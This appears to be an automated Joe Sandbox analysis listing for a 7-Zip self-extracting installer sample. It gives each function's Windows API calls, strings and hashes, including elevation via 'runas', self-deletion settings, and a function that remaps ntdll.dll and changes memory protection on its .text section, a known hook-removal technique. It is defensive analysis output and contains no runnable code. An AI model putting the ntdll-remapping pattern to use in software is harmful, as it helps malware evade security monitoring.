SetEnvironment, xrefs: 00406F6A, 00406F6F, 00406FBD, 004075B5, 004075DA
SelfDelete, xrefs: 004076A3
AutoInstall, xrefs: 004071F1, 00407244
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 00407714
PreExtract, xrefs: 004073B2, 00407438
x86, xrefs: 00406885
7-Zip SFX, xrefs: 0040770F
SfxVarModulePlatform, xrefs: 0040688A
ExecuteFile, xrefs: 0040725B, 0040726B
InstallPath, xrefs: 00407073
sfxlang, xrefs: 004068FC
SfxVarSystemPlatform, xrefs: 0040689E
sfxconfig, xrefs: 00406B3E, 00406CF7
FinishMessage, xrefs: 00407629
sfxelevation, xrefs: 00406983, 00406E74
BeginPromptTimeout, xrefs: 0040709E
SfxString%d, xrefs: 00406D95
" -, xrefs: 00406E79
sfxwaitall, xrefs: 00406965

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CommandLinewsprintf$Processlstrlen$CurrentFileFolderInitializeLibraryLoadMessageModuleNamePathSizeSpecialVersionWorking
String ID: " -$7-Zip SFX$7ZipSfx.%03x$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteOnLoad$FinishMessage$HelpText$InstallPath$PreExtract$RunProgram$SelfDelete$SetEnvironment$SfxString%d$SfxVarApiPath$SfxVarCmdLine0$SfxVarModulePlatform$SfxVarSystemLanguage$SfxVarSystemPlatform$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$h1^$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$x86$x}B
API String ID: 1696040357-2609009280
Opcode ID: 2f79422dc320cf5d518135fd2e0f946dea209421ac33f12a81fd630665ccb93c
Instruction ID: 1d6cb3108b6439bf9ee8cb1a272d1cd87d89d23fe3df34ccd02e4b6f4d93d42f
Opcode Fuzzy Hash: 2f79422dc320cf5d518135fd2e0f946dea209421ac33f12a81fd630665ccb93c
Instruction Fuzzy Hash: C4820771E04215AADB24BBA5EC52BAE3768AF04318F10453FF502B62E2DB7D5D80CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C8F Relevance: 15.1, APIs: 10, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00426BB8,00403E01,?,00000001), ref: 00403CBC
lstrcmpW.KERNEL32(?,00426BC0,?,00403E01), ref: 00403D08
lstrcmpW.KERNEL32(?,00426BC4), ref: 00403D1E
SetFileAttributesW.KERNELBASE(?,00000000,?,00403E01), ref: 00403D37
DeleteFileW.KERNELBASE(?), ref: 00403D44
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00403D56
FindClose.KERNEL32(00000000), ref: 00403D65
SetCurrentDirectoryW.KERNEL32 ref: 00403D71
SetFileAttributesW.KERNEL32(00403E01,00000000), ref: 00403D7B
RemoveDirectoryW.KERNEL32(00403E01), ref: 00403D88

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: File$Find$AttributesDirectorylstrcmp$CloseCurrentDeleteFirstNextRemove
String ID:
API String ID: 3205300333-0
Opcode ID: 6355085a4aa394518ea26f01bc4742eebc40cec18b36215e5ed97df422a240df
Instruction ID: a906d678dd43812030e965f764584ed42eb8dc6fdf672ca0bd142a2143b6f6fd
Opcode Fuzzy Hash: 6355085a4aa394518ea26f01bc4742eebc40cec18b36215e5ed97df422a240df
Instruction Fuzzy Hash: D7313031A00218ABDB21AFA1EC48EDE7F7DAF00746F54417AF516F10A0EB389B45DA5C

Uniqueness

Uniqueness Score: -1.00%

Function 004025A9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 83
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00040300,00000005,?,?,00000001), ref: 0040262C
BringWindowToTop.USER32(?), ref: 00402635
ShellExecuteExW.SHELL32(0000003C), ref: 00402667
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000001), ref: 0040267A
CloseHandle.KERNEL32(?,?,?,00000001), ref: 00402683

Strings

<, xrefs: 004025DD
runas, xrefs: 00402604

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Window$BringCloseExecuteHandleObjectShellShowSingleWait
String ID: <$runas
API String ID: 2226624165-1187129395
Opcode ID: dbdcd702e5a1619ba63cf14ee2d9bd67ed3a3f23e0009610b057d5023b2708c2
Instruction ID: 65311103378905c9ebe784321d88e0c12e821115cb0bb151a8b9c460e2bc92c5
Opcode Fuzzy Hash: dbdcd702e5a1619ba63cf14ee2d9bd67ed3a3f23e0009610b057d5023b2708c2
Instruction Fuzzy Hash: 7C315A71E00209ABDF10AFD4EC45ADEBBB8EF04314F10413AEA05A62E0DB795945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402D53 Relevance: 7.8, APIs: 5, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335121be1f8f7a6b615148e639b69205c1f91d20e84652666468dd977a09481f
Instruction ID: 35b07dd9172f5d72442aa58c96c23412c93c3bcfe8ab725f254cd64513162106
Opcode Fuzzy Hash: 335121be1f8f7a6b615148e639b69205c1f91d20e84652666468dd977a09481f
Instruction Fuzzy Hash: 9BA1BFB1900205AFCF14DFA4D888AAA7BB8BF48315F10416AF901FB2D1DB79DD82CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404399 Relevance: 6.0, APIs: 4, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 004043AC
FindClose.KERNEL32(00000000), ref: 004043BC
SetLastError.KERNEL32(00000010), ref: 004043CD

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: feb52326722ee985cfa4a5e4ac0c4cc83b7ff906a8a099fb5d062e4b931a5238
Instruction ID: b43c34f3000c6b0c36565e86e6f292a36c88a4808e8d08daf7d66170f4e25050
Opcode Fuzzy Hash: feb52326722ee985cfa4a5e4ac0c4cc83b7ff906a8a099fb5d062e4b931a5238
Instruction Fuzzy Hash: 9AF09670700108ABDF21AF71EC4DB5B3BACAB4035EF1047B1F925E11E0E774DA46AA58

Uniqueness

Uniqueness Score: -1.00%

Function 00403DA4 Relevance: 6.0, APIs: 4, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(0040638E,?), ref: 00403DC0
FindClose.KERNEL32(00000000), ref: 00403DCC
SetFileAttributesW.KERNEL32(0040638E,00000000), ref: 00403DE0
DeleteFileW.KERNEL32(0040638E), ref: 00403DED

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: File$Find$AttributesCloseDeleteFirst
String ID:
API String ID: 3319113142-0
Opcode ID: 7a61a38b35f2b05a7b4bde6f25ad9c61d42a494951ae97ad8595f31ef7f661e8
Instruction ID: 10cdb507c6f18802a829504191793466465721f7b53cb2a47095233dfdd97b6e
Opcode Fuzzy Hash: 7a61a38b35f2b05a7b4bde6f25ad9c61d42a494951ae97ad8595f31ef7f661e8
Instruction Fuzzy Hash: 4CF05431600148ABDF219F30ED4D75A3FA9AB4035BF444675F41AE00F0DB78CE86AA88

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 0040ADF9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 514e3e9620a8ae5786985dc9d2d01534f56d213f92649192631bf8da6f7093d0
Instruction ID: 425604c9566947a6de6f0846240264560f73a3d450305e8ffa0f2dd6e66e3d9c
Opcode Fuzzy Hash: 514e3e9620a8ae5786985dc9d2d01534f56d213f92649192631bf8da6f7093d0
Instruction Fuzzy Hash: B5526075A00219DFCB14DFA9C8949AEBBB5FF48304B1440AEE805AB391DB34ED51CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE96 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000002,?,0041BE95,00000003,0041BAE9,00000002,00000003,00000002,00000000), ref: 0041BEB8
TerminateProcess.KERNEL32(00000000,?,0041BE95,00000003,0041BAE9,00000002,00000003,00000002,00000000), ref: 0041BEBF
ExitProcess.KERNEL32 ref: 0041BED1

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0ec046c3c7fc3c5c6e3fa67908c22cfa085986a804e92359d6edde0e14729fcb
Instruction ID: e0727390605d046cfdb7438c7375c554961c0a911bb9d4a230f12d223bae1d51
Opcode Fuzzy Hash: 0ec046c3c7fc3c5c6e3fa67908c22cfa085986a804e92359d6edde0e14729fcb
Instruction Fuzzy Hash: 17E0B631100258ABCF226F55DC09A9A3B69FF45342F454829F9058A232CB79EDD2CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004032B5 Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 004032D1
SendMessageW.USER32(00008001,00000000,?), ref: 0040332A

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: 3f6a5093db6dc284da08a1b9f75d34da9ee5183036e1cf9ed500a92b5cf20e08
Instruction ID: 11b616b47ea7f668fef1b3adcbda94cf74b945cdd4617e4d8853dd6224b3e8b1
Opcode Fuzzy Hash: 3f6a5093db6dc284da08a1b9f75d34da9ee5183036e1cf9ed500a92b5cf20e08
Instruction Fuzzy Hash: DE016270350205ABE714DF51EC96F5A3BADE701715F108536F900E91E1DBB9EE408B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00406563 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 101
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0040656C
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 0040657A
CreateFileA.KERNELBASE(c:\windows\system32\ntdll.dll,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00406595
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 004065A8
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 004065B7
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 00406607
VirtualProtect.KERNELBASE(?,?,?,?), ref: 0040663B
FindCloseChangeNotification.KERNELBASE(?), ref: 00406651
CloseHandle.KERNEL32(?), ref: 00406656
CloseHandle.KERNEL32(?), ref: 0040665B
FreeLibrary.KERNEL32(00000000), ref: 0040665E

Strings

ntdll.dll, xrefs: 00406572
c:\windows\system32\ntdll.dll, xrefs: 00406590
.text, xrefs: 004065DA

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CloseFileHandle$CreateProtectVirtual$ChangeCurrentFindFreeLibraryMappingModuleNotificationProcessView
String ID: .text$c:\windows\system32\ntdll.dll$ntdll.dll
API String ID: 2881512047-673882835
Opcode ID: d5c6d6cd2f66e1340ec2a64d19c3e10e07b56e9b827ca4afbbf43d43cea2b974
Instruction ID: 0258a6196701b5f4aab08b61cb9c02687429d49db0ce2663443c7dc4406cac1e
Opcode Fuzzy Hash: d5c6d6cd2f66e1340ec2a64d19c3e10e07b56e9b827ca4afbbf43d43cea2b974
Instruction Fuzzy Hash: 82318D71A00214BFCB209FA5DC4EEAFBFB8EF48711F41446AF505E7252D634A951CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00406390 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 78
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32), ref: 004063A1
#17.COMCTL32 ref: 004063AC

Part of subcall function 0040478C: GetUserDefaultUILanguage.KERNEL32(004042F4), ref: 00404798

Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404227
Part of subcall function 004041E0: wsprintfW.USER32 ref: 00404238
Part of subcall function 004041E0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00404247
Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404252
Part of subcall function 004041E0: GetEnvironmentVariableW.KERNEL32(?,00000000,0000002D), ref: 0040427C
Part of subcall function 004041E0: GetLastError.KERNEL32 ref: 00404287
Part of subcall function 004041E0: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00404299
Part of subcall function 004041E0: SetLastError.KERNEL32(00401877), ref: 004042CD
Part of subcall function 004041E0: lstrlenA.KERNEL32(00426DC8), ref: 00404303

Part of subcall function 004041E0: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00404352
Part of subcall function 004041E0: MultiByteToWideChar.KERNEL32(000004E4,00000000,00426DC8,00000001,00000000,00000002), ref: 00404388

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000), ref: 0040642D
wsprintfW.USER32 ref: 00406441

Strings

@ub, xrefs: 004063E9
SfxFolder%02d, xrefs: 0040643B
kernel32, xrefs: 0040639C
lb, xrefs: 004063F5

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLibraryLoadLocaleMultiPathSpecialUserWidelstrcmpilstrlen
String ID: lb$@ub$SfxFolder%02d$kernel32
API String ID: 4084782872-1389684564
Opcode ID: 38caa4c13e3165a2bea396bc0216dc50dcdee7f818541decef655bdf4143e517
Instruction ID: 38291be210b7a11e6caab71854138096774443545b7e4318438b9ed6e03a9197
Opcode Fuzzy Hash: 38caa4c13e3165a2bea396bc0216dc50dcdee7f818541decef655bdf4143e517
Instruction Fuzzy Hash: 7421B5F6E003146BD710AFB2AC4BB4A7A68EB54704F01163FF505AB191DAB94650CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA8 Relevance: 13.8, APIs: 2, Strings: 7, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00403336: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00000000,?,00000000,00401FC8,?,?,?,?), ref: 0040334F
Part of subcall function 00403336: GetCurrentDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 00403365

GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00402269

Strings

del, xrefs: 0040209D
nowait, xrefs: 00402015
waitall, xrefs: 00401FDE
forcenowait, xrefs: 00402037
ExecuteParameters, xrefs: 0040211E
hidcon, xrefs: 00401FFA
shc, xrefs: 00402089

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: CurrentDirectory$ErrorLast
String ID: ExecuteParameters$del$forcenowait$hidcon$nowait$shc$waitall
API String ID: 1128942804-4019298132
Opcode ID: a4fa5637f2b2fb8445435a9f90dda79908bcbeb0503287340fad0f62bbd63cef
Instruction ID: ba470d6b25d153836575a33adc37793f032ec2c1f3e6f782122d04786a0af95c
Opcode Fuzzy Hash: a4fa5637f2b2fb8445435a9f90dda79908bcbeb0503287340fad0f62bbd63cef
Instruction Fuzzy Hash: F981A372900215AADB10BBA1ED56BEF37689F11318F14403FF901B61E2EBBD8A45C66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040444D Relevance: 7.8, APIs: 2, Strings: 3, Instructions: 288
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

SetEnvironment, xrefs: 0040468E
pfB, xrefs: 004046B4, 004046B9, 004046CB
{\rtf, xrefs: 0040454F, 004045E2, 004045FA

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID: SetEnvironment$pfB${\rtf
API String ID: 0-1796240781
Opcode ID: c4ed00269bdf93297cb9b0d5d5b2101bd92b1c504376e825daef409a3baa3f3d
Instruction ID: 15084756ada713c28a5bad4634b0876b1db43443b0c502416c2195f3a5c257e2
Opcode Fuzzy Hash: c4ed00269bdf93297cb9b0d5d5b2101bd92b1c504376e825daef409a3baa3f3d
Instruction Fuzzy Hash: 01A1B4B1D00249ABDF11EB94DC41AEE7B79AF55308F14007BE601B72D2EB3D9946CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00402900 Relevance: 6.1, APIs: 4, Instructions: 101
threadsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00002CD8,?,00000000,?), ref: 0040292B
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,?,?), ref: 00402954
GetExitCodeThread.KERNELBASE(00000000,?,?,00000000,?,?), ref: 004029B8
SetLastError.KERNEL32(00000000,?,00000000,?,?), ref: 004029F1

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Thread$CodeCreateErrorExitLastObjectSingleWait
String ID:
API String ID: 2732711357-0
Opcode ID: ef57aeeb5ab4f2bafb95d30090553282e92e25a6cf87afbdb57afda64763b007
Instruction ID: f99c8e3a54b4e73eb731c8599b93e74b2dfc3fbcfcf97cbc3a23e95f2fcbf95c
Opcode Fuzzy Hash: ef57aeeb5ab4f2bafb95d30090553282e92e25a6cf87afbdb57afda64763b007
Instruction Fuzzy Hash: 383121B1700215AADB348B159E8EE6B3669F781750F24863BF801F53E0D6FCC841EA6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403BE2 Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002), ref: 00403BFE
GetTempPathW.KERNEL32(00000001,00000000,00000001), ref: 00403C21
wsprintfW.USER32 ref: 00403C52
GetFileAttributesW.KERNELBASE(?), ref: 00403C6E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: 2cb7250d9dd32dd2e9da34ed9bd700cdfbf3dca0c539c680a7ce81065cce105e
Instruction ID: 0f6a3eded4ecc7b2e8fda6e6faf6934afbfe96f23fb69cde5f4e8b06072c32c6
Opcode Fuzzy Hash: 2cb7250d9dd32dd2e9da34ed9bd700cdfbf3dca0c539c680a7ce81065cce105e
Instruction Fuzzy Hash: CD1129B2200614AFDB249F25D88086EBBADFF88354741403EFA0AF7290DB346D11C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 004057E3 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,004037E9,00000000,00000000,?,?,?,?,00402FA6,?,?), ref: 004057EC
GetLastError.KERNEL32(?,004037E9,00000000,00000000,?,?,?,?,00402FA6,?,?), ref: 004057F6
SetLastError.KERNEL32(000000B7,?,004037E9,00000000,00000000,?,?,?,?,00402FA6,?,?), ref: 00405806
GetFileAttributesW.KERNELBASE(00000000,?,004037E9,00000000,00000000,?,?,?,?,00402FA6,?,?), ref: 00405813

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID:
API String ID: 635176117-0
Opcode ID: c94475a7de75a22d68a153ea5ce2d1e959f11f3a54dd4cd0cffd3939b8acd51a
Instruction ID: 30408092df9d9bdc1a5f6178e500957deb072df51eb03143c2aff391e1e1432a
Opcode Fuzzy Hash: c94475a7de75a22d68a153ea5ce2d1e959f11f3a54dd4cd0cffd3939b8acd51a
Instruction Fuzzy Hash: 40E06532644504EBDA213B74AC0CB5B3E59DB05761F518571FD19E41E0D33498625A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040440A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(GetNativeSystemInfo), ref: 0040441B
GetNativeSystemInfo.KERNELBASE(?,?,?,004026E0,?,0040218F,?,00000000), ref: 00404429

Strings

GetNativeSystemInfo, xrefs: 00404410

Memory Dump Source

